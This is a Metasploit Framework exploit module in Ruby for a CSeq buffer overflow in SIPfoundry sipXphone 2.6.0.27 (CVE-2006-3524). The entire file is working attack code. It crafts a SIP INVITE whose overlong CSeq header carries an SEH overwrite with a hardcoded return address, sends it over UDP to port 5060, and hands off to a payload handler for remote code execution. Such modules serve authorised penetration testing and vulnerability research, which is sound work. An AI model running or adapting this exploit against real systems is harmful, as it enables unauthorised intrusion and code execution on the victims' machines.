##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in SIPfoundry's
				sipXphone 2.6.0.27. By sending an overly long CSeq value, 
				a remote attacker could overflow a buffer and execute 
				arbitrary code on the system with the privileges of 
				the affected application. 
			},
			'Author'         => 'MC',
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					['CVE', '2006-3524'],
					['OSVDB', '27122'],
					['BID', '18906'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a\x20\x09\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],  
				],
			'Privileged'     => false,
			'DisclosureDate' => 'July 10 2006',
			'DefaultTarget'  => 0))

			register_options(
    			[
            			Opt::RPORT(5060)
    			], self)

	end

	def exploit
		connect_udp

		user   = rand_text_english(2, payload_badchars)
		port   = rand(65535).to_s      
		filler = rand_text_english(212, payload_badchars)
		seh    = generate_seh_payload(target.ret)
		filler[204, seh.length] = seh

		sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
		sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
		sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
		sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
		sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
		sploit  <<  "CSeq: " + filler + "\r\n"
		sploit  <<  "Max-Forwards: 20" +  "\r\n"
		sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

		print_status("Trying target #{target.name}...")
 
		udp_sock.put(sploit)

		handler
		disconnect_udp
                
	end

end